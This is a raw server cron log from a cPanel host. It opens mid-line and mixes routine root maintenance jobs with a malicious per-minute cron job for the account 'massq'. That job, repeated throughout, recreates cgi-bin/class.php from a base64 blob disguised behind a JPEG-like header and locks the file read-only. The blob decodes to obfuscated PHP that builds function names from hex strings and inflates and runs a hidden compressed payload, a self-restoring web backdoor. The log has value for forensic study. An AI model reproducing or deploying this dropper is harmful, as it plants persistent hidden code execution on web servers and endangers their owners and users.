chmod 444 "$fp")
Aug 30 10:16:01 server CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:16:01 server CROND[28638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:17:01 server CROND[29009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:17:01 server CROND[29010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:17:01 server CROND[29011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:18:01 server CROND[29383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:18:01 server CROND[29384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:18:01 server CROND[29385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:19:01 server CROND[29756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:19:01 server CROND[29757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:19:01 server CROND[29758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:20:01 server CROND[30229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:20:01 server CROND[30233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:20:01 server CROND[30235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:20:01 server CROND[30237]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:20:01 server CROND[30239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:20:01 server CROND[30251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:20:01 server CROND[30250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:20:01 server CROND[30236]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:20:01 server CROND[30246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:21:01 server CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:21:01 server CROND[31082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:21:01 server CROND[31084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:22:01 server CROND[31514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:22:01 server CROND[31515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:22:01 server CROND[31516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:23:02 server CROND[31912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:23:02 server CROND[31913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:23:02 server CROND[31914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:24:01 server CROND[32281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:24:01 server CROND[32282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:24:01 server CROND[32283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:25:01 server CROND[319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:25:01 server CROND[321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:25:01 server CROND[323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:25:01 server CROND[324]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:25:01 server CROND[330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:25:01 server CROND[331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:25:01 server CROND[333]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 10:25:01 server CROND[332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:26:01 server CROND[1366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:26:01 server CROND[1367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:26:01 server CROND[1372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:27:01 server CROND[1746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:27:01 server CROND[1747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:27:01 server CROND[1750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:27:01 server CROND[1748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:28:01 server CROND[2167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:28:01 server CROND[2168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:28:01 server CROND[2169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
